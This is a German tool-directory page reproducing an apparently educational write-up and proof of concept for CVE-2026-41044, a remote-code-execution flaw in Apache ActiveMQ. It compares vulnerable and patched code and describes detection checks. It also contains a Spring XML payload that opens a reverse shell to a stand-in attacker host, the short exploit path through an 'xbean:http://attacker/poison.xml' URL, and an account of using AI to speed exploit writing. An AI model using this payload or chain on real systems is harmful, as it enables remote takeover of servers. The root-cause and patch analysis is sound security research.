Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41044 — # Pädagogischer Leitfaden und Proof-of-Concept für CVE-2026-41044, eine Apache ActiveMQ RCE, mit Root-Cause-Analyse und Erkennungsskript. | Kitploit
Tools/GitHubGitHub/mrillicit/cve-2026-41044
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# Pädagogischer Leitfaden und Proof-of-Concept für CVE-2026-41044, eine Apache ActiveMQ RCE, mit Root-Cause-Analyse und Erkennungsskript.

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-41044

Hinweis: Nur für Bildungszwecke

Vom Advisory zur RCA an einem Nachmittag: Wie KI die N-Day-Analyse kollabieren lässt

Ein kurzer, ehrlicher Walkthrough zu CVE-2026-41044 in Apache ActiveMQ unter Verwendung des exakten Codes vor und nach dem Patch.


CVE-2026-41044 wurde am 24. April 2026 offengelegt. Es handelt sich um einen Remote-Code-Execution-Fehler in Apache ActiveMQ Classic, entdeckt von jsjcw, gepatcht in 5.19.6 und 6.2.5. Ich habe ihn nicht gefunden.

Was ich zeigen möchte, ist, wie jemand, der ActiveMQ noch nie angefasst hat, an einem Nachmittag einen funktionierenden Exploit für einen N-Day produzieren kann, weil der gepatchte Code öffentlich ist, der ungepatchte Code öffentlich ist und die Lücke dazwischen nur einen git diff entfernt liegt.


Teil 1: Der Workflow

Der Prozess ist einfach:

  1. Das Advisory lesen, die betroffenen Dateien, die CWE und alle erwähnten Funktionsnamen notieren.
  2. Die letzte verwundbare Version und die erste gepatchte Version nebeneinander auschecken.
  3. Ein Modell bitten, die relevanten Dateien zu diffen und jede Änderung zu erklären.
  4. Die Kette in einem lokalen Labor nachstellen und Ende-zu-Ende testen.

Was früher Tage dauerte, dauert jetzt einen Nachmittag. KI findet keine Bugs. Sie liest Code und erklärt ihn so schnell, wie man Fragen stellen kann. Der teure Teil bleibt man selbst: zu entscheiden, was tatsächlich ausnutzbar ist, wo die echten Vertrauensgrenzen liegen, was verifiziert werden muss. Das Modell geht nur schneller durch Call-Graphen als jeder Mensch.

Der größere Punkt: Wenn dein Patching-Workflow eine Woche Analysezeit pro CVE annimmt, bist du auf der alten Zeitachse. git diff ist gleich lang, egal ob du Detektion oder Exploits schreibst.


Teil 2: CVE-2026-41044

Was ist ActiveMQ?

ActiveMQ ist ein Message Broker. Er sitzt in der Mitte und leitet Nachrichten zwischen Anwendungen weiter. Stell ihn dir wie eine Poststelle vor: Apps geben Nachrichten ab, ActiveMQ liefert sie an den richtigen Empfänger. Er ist weit verbreitet in Enterprise-Java-Stacks und stellt eine Web-Konsole sowie eine REST-Management-API namens Jolokia unter /api/jolokia/ bereit. Standard-Anmeldedaten in vielen Bereitstellungen sind immer noch admin:admin.


Die Schwachstelle in einem Satz

ActiveMQ erlaubte jedem authentifizierten Benutzer, eine Broker-Konfiguration von einer beliebigen HTTP-URL zu laden, die Spring parsen und sofort als Java-Objekte ausführen würde – einschließlich ProcessBuilder – was dem Angreifer vollständige OS-Befehlsausführung auf dem Broker-Server verschaffte.


Hintergrund: Die Begriffe, die du brauchst

  • Broker: Der laufende ActiveMQ-Server. Identifiziert durch einen Namen, standardmäßig localhost.
  • Jolokia: Eine HTTP-zu-JMX-Brücke unter /api/jolokia/, die Verwaltungsoperationen als REST-API bereitstellt. Jede gültige Web-Konsolen-Anmeldedaten erreichen sie – nicht nur Admin.
  • vm://-Transport: Der In-Process-Transport, der verwendet wird, wenn ein Client in derselben JVM wie der Broker lebt. Er akzeptiert einen ?brokerConfig=-Query-Parameter, der auf eine Spring-XML-Konfiguration verweist, um einen Broker daraus zu booten.
  • xbean:: Ein URL-Schema, das ActiveMQ anweist, die URL als Spring-XML-Konfiguration zu behandeln und zu laden.
  • Spring-Beans / init-method: Spring liest XML und erstellt automatisch Java-Objekte (Beans). Das init-method-Attribut weist Spring an, eine Methode auf der Bean in dem Moment aufzurufen, in dem sie erstellt wird – bevor irgendetwas anderes läuft.
  • ProcessBuilder: Eine Standard-Java-Klasse, die OS-Befehle ausführt. ProcessBuilder.start() führt den Befehl aus.

Die Kette: Fünf Ebenen, echter Code

Ebene 1 – DestinationView baut eine URL durch String-Konkatenation

DestinationView.sendTextMessage() in 5.19.2 baut eine Broker-Verbindungs-URL, indem der Broker-Name direkt in einen String konkateniert wird:

root@kitploit:~
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

Wenn getBrokerName() localhost?brokerConfig=xbean:http://attacker/poison.xml zurückgibt, wird dieser gesamte String zu einer gültigen vm://-URI mit eingebettetem Query-Parameter. ActiveMQConnectionFactory übergibt ihn an VMTransportFactory, das den brokerConfig-Parameter herauszieht und ihn als Bootstrap-Konfigurations-URL des Brokers verwendet.

Der Fix in 5.19.6 ist eine Zeile:

root@kitploit:~
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

String wird zu URI – versehentliche Konkatenation ist nicht mehr möglich. Der Wert stammt aus einem vorkonstruierten, unveränderlichen URI-Objekt, das vom tatsächlich registrierten VM-Connector des Brokers abgeleitet wird, nicht von einem veränderlichen Namens-String.


Ebene 2 – Der Vergiftungspunkt in RegionBroker

Damit Ebene 1 ausnutzbar ist, muss der Broker-Name zuerst vergiftet werden. BrokerService hat Broker-Namen schon immer bereinigt:

root@kitploit:~
// BrokerService.setBrokerName() - in BEIDEN Versionen vorhanden
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

Dieser Regex entfernt ? und = sauber. Die CVE existierte, weil RegionBroker seinen eigenen separaten Setter hatte, der das nicht tat:

root@kitploit:~
// 5.19.2 - RegionBroker.java
private String brokerName;           // veränderlich

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // überhaupt keine Validierung
}

Das ist ein klassischer Confused Deputy – zwei Setter auf verwandten Klassen, nur einer davon bereinigt. Ein Remote-Peer, der ein manipuliertes BrokerInfo-Paket mit einem vergifteten Namensfeld sendet, erreicht RegionBroker.setBrokerName() direkt und umgeht den Regex von BrokerService vollständig.

Der Fix in 5.19.6 löscht den Setter, macht das Feld final und initialisiert es einmalig aus dem bereits bereinigten Parent:

root@kitploit:~
// 5.19.6 - RegionBroker.java
private final String brokerName;     // unveränderlich

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName() ist weg. Es gibt keinen Setter mehr.
}

Man kann einen Sanitizer nicht umgehen, der keinen parallelen Schreiber hat.


Ebene 3 – VMTransportFactory: bewusst unverändert

VMTransportFactory.doCompositeConnect() ist die Funktion, die die vm://...?brokerConfig=...-URI nimmt, den brokerConfig-Parameter herauszieht und BrokerFactory.createBroker(brokerURI) aufruft. Sie ist der Auslösemechanismus der gesamten Kette.

Apache hat hier exakt nichts geändert.

Diese Entscheidung sagt etwas darüber aus, wie sie über den Fix gedacht haben. VMTransportFactory leistet legitime Arbeit – vm://-Transports sollen tatsächlich Bootstrap-Konfigurationen akzeptieren. Es zu patchen hätte das beabsichtigte Design gebrochen. Stattdessen hat Apache den Bug an der Quelle (Ebene 2: kein vergifteter Name kann geschrieben werden) und an der Senke (Ebene 5: selbst wenn eine vergiftete URL durchkäme, würde der Resource-Resolver sie nicht abrufen) behoben.

Fixe die Ebenen, auf denen Validierung hingehört, nicht die Ebene, über die der Angreifer zufällig hereinkam.


Ebene 4 – XBeanBrokerFactory übergibt die URI an Spring

root@kitploit:~
// XBeanBrokerFactory - in beiden Versionen gleich
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // Ebene 5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource) ist der Punkt, an dem Spring seine Arbeit verrichtet – jede init-method einer Bean läuft bei der Kontextkonstruktion, bevor ActiveMQs BrokerService das Ergebnis jemals validiert. Hier gibt es nichts zu patchen. Springs Vertrag ist wie entworfen korrekt. Der Bug war, dass ActiveMQ sich darauf verließ, dass Validierung vor der Instanziierung stattfindet, und Spring diese Reihenfolge nicht zusichert.


Ebene 5 – Utils.resourceFromString: der eigentliche primitive Fix

Dies ist die Funktion, die entschied, ob xbean:http://attacker/poison.xml abgerufen werden sollte. In 5.19.2:

root@kitploit:~
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    if (new File(uri).exists()) {
        return new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? keine Prüfung.
    } else {
        return new ClassPathResource(uri);
    }
}

Kein Protokollfilter. http://, https://, ftp://, jar:// – alles wird stillschweigend akzeptiert.

Der Fix in 5.19.6 fügt eine explizite Allowlist hinzu. Nur file und classpath sind standardmäßig erlaubt. Alles andere wirft, bevor UrlResource überhaupt konstruiert wird:

root@kitploit:~
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL      = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";

public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
        throws MalformedURLException {
    // ...
    } else if (ResourceUtils.isUrl(uri)) {
        validateUrlAllowed(uri, allowedProtocols);           // wirft bei http/https/etc
        resource = new UrlResource(ResourceUtils.getURL(uri));
    }
}

static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
        throws URISyntaxException {
    if (allowedProtocols != null) {
        final String detectedProtocol = getProtocolFromScheme(uriString);
        if (!allowedProtocols.contains(detectedProtocol)) {
            throw new IllegalArgumentException("URL [" + uriString +
                    "] uses protocol '" + detectedProtocol + "' which is not allowed");
        }
    }
}

XBeanBrokerFactory übergibt jetzt {file, classpath} als Allowlist. Selbst wenn ein vergifteter Broker-Name diese Funktion in einer zukünftigen Version irgendwie erreichte, würde http://attacker/poison.xml werfen, bevor Spring es jemals zu Gesicht bekäme.


Wie das Exploit-Payload aussieht

root@kitploit:~
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/sh</value>
        <value>-c</value>
        <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

In dem Moment, in dem Spring den ApplicationContext konstruiert, feuert init-method="start" auf der ProcessBuilder-Bean. Die Validierung von BrokerService.start() von ActiveMQ läuft danach. Bis dahin hat sich die Shell bereits zurückverbunden.


Über den PoC und die zwei Pfade

Es gibt zwei Wege, um die verwundbare Utils.resourceFromString-Senke zu erreichen:

Der vollständige Produktionspfad (was das Advisory beschreibt):

root@kitploit:~
Remote-Peer sendet manipuliertes BrokerInfo-Paket
  -> RegionBroker.setBrokerName() speichert vergifteten Namen ohne Validierung
    -> DestinationView.sendTextMessage() konkateniert ihn in eine vm://-URL
      -> VMTransportFactory zieht brokerConfig-Parameter heraus
        -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

Der kurze Pfad (was poc.sh verwendet):

root@kitploit:~
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
  -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE

Der PoC nimmt den kurzen Pfad aus einem praktischen Grund: Der vollständige Pfad erfordert die Einrichtung eines zweiten ActiveMQ-Brokers als Netzwerk-Peer, der ein manipuliertes BrokerInfo-Paket an das Ziel sendet – eine Broker-zu-Broker-Interaktion, die ein komplexeres Labor-Setup benötigt. Der kurze Pfad funktioniert mit einem einzelnen Broker und einem einfachen HTTP-Server.

Beide Pfade treffen dieselbe verwundbare Primitive. Der PoC bestätigt, dass die Senke ausnutzbar ist und die CVE auf dem Ziel vorhanden ist. Wenn du den exakten Einstiegspunkt reproduzieren möchtest, der im Advisory beschrieben ist, musst du den Broker-zu-Broker-Schritt hinzufügen.


Detektion

Der PoC läuft standardmäßig im Detektionsmodus. Er prüft zwei Signale:

Banner-Check – liest BrokerVersion über Jolokia:

  • < 5.19.6 oder 6.0.0 - 6.2.4 = verwundbarer Bereich

Verhaltens-Check – ruft addNetworkConnector("vm://probe") über Jolokia auf:

  • Gepatcht (5.19.6+) gibt zurück: Transport scheme 'vm' is not allowed
  • Verwundbar gibt eine DiscoveryAgent scheme NOT recognized-IOException zurück

Die Ablehnung auf der gepatchten Version stammt von BrokerView.validateAllowedUrl() – einer separaten Deny-List, die in 5.19.6 direkt zur addNetworkConnector-JMX-Operation hinzugefügt wurde, nicht von Utils.resourceFromString. Das sind zwei unabhängige Fixes: einer schützt die JMX-Verwaltungsoberfläche, der andere schützt die in Ebene 5 beschriebene Resource-Loading-Primitive. Der Verhaltensprobe testet Ersteres.


Der Fix zusammengefasst

EbeneVerwundbar (5.19.2)Gepatcht (5.19.6)
DestinationView"vm://" + brokerName String-Konkatenationbroker.getVmConnectorURI() unveränderliche URI
RegionBrokerveränderliches Feld, unbereinigter Setterfinal-Feld, Setter gelöscht, aus bereinigtem Parent initialisiert
VMTransportFactoryunverändertunverändert (by design)
XBeanBrokerFactoryruft Utils.resourceFromString(uri) aufruft Utils.resourceFromString(uri, allowedProtocols) auf
Utils.resourceFromStringruft jedes URL-Schema abAllowlist erzwungen – standardmäßig nur file und classpath

Referenzen und Danksagung

  • Apache-Advisory: CVE-2026-41044
  • Gepatcht in ActiveMQ Classic 5.19.6 und 6.2.5
  • Schwachstellenentdeckung: jsjcw
  • Schwester-CVE für Kontext: CVE-2026-34197 (Horizon3.ai)
  • Code in diesem Beitrag ist direkt aus den 5.19.2- und 5.19.6-Quellbäumen verifiziert
  • Angeleitet von Varshit Modi, generiert mit KI-Unterstützung.
Tool herunterladen